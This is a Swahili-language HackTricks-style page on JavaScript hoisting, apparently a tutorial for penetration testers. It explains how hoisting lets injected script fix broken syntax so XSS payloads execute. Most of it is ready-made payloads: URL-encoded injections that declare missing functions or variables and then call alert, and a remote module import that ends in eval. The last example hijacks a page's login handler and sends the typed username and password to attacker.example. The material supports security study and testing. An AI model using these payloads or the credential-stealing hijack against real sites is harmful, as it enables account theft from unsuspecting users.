JS Hoisting

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Maelezo ya Msingi

Katika lugha ya JavaScript, kuna utaratibu unaojulikana kama Hoisting ambapo tamko za variables, functions, classes, au imports kwa dhana zinawekwa juu ya scope yao kabla msimbo haujatekelezwa. Mchakato huu hufanywa kiotomatiki na engine ya JavaScript, ambayo inapitia script kwa vipindi vingi.

Wakati wa upitisho wa kwanza, engine inachambua msimbo ili kukagua makosa ya sintaksia na kuubadilisha kuwa abstract syntax tree. Awamu hii inajumuisha hoisting, mchakato ambapo tamko fulani yanahamishwa juu ya execution context. Ikiwa awamu ya parsing inapita bila makosa ya sintaksia, utekelezaji wa script unaendelea.

Ni muhimu kuelewa kwamba:

  1. Script lazima iwe haina makosa ya sintaksia ili utekelezaji uanze. Sheria za sintaksia lazima zizingatiwe kikamilifu.
  2. Mahali pa msimbo ndani ya script huathiri utekelezaji kutokana na hoisting, ingawa msimbo unaotekelezwa unaweza kutofautiana na muundo wake wa maandishi.

Aina za Hoisting

Kulingana na taarifa za MDN, kuna aina nne tofauti za hoisting katika JavaScript:

  1. Value Hoisting: Inawezesha kutumia thamani ya variable ndani ya scope yake kabla ya mstari wake wa tamko.
  2. Declaration Hoisting: Inaruhusu kurejelea variable ndani ya scope kabla ya tamko bila kusababisha ReferenceError, lakini thamani ya variable itakuwa undefined.
  3. Aina hii hubadilisha tabia ndani ya scope yake kwa sababu tamko la variable linazingatiwa kabla ya mstari wake wa tamko halisi.
  4. Madhara ya tamko hufanyika kabla sehemu nyingine za msimbo zinazojumuisha tamko hilo hazijachambuliwa.

Kwa undani, function declarations zinaonyesha tabia ya hoisting ya aina ya 1. Udhani wa var unaonyesha tabia ya aina ya 2. Lexical declarations, ambazo zinajumuisha let, const, na class, zinaonyesha tabia ya aina ya 3. Mwishowe, tamko za import ni za kipekee kwa kuwa zinahoist zikiwa na tabia za aina ya 1 na aina ya 4.

Mifano

Kwa hivyo ikiwa una senario ambapo unaweza kuingiza msimbo wa JS baada ya object isiyotangazwa kutumika, unaweza kurekebisha sintaksia kwa kuitangaza (ili msimbo wako utekelezwe badala ya kutoa hitilafu):

javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
javascript
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
javascript
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
javascript
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Mifano Zaidi

javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
javascript
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
javascript
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Zuia tamko za baadaye kwa kufunga jina kwa const

Ikiwa unaweza kutekeleza kabla ya function foo(){...} ya ngazi ya juu kusomwa, kutangaza lexical binding yenye jina sawa (kwa mfano, const foo = ...) kutaizuia tamko la function la baadaye kulibadilisha tena kitambulisho hicho. Hii inaweza kutumiwa vibaya katika RXSS ku-hijack critical handlers zilizofafanuliwa baadaye kwenye ukurasa:

javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Notes

  • Hii inategemea mpangilio wa utekelezaji na global (top-level) scope.
  • Kama payload yako inatekelezwa ndani ya eval(), kumbuka kwamba const/let ndani ya eval ni block-scoped na hazitaunda global bindings. Inject kipengee kipya <script> chenye code ili kuanzisha true global const.

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks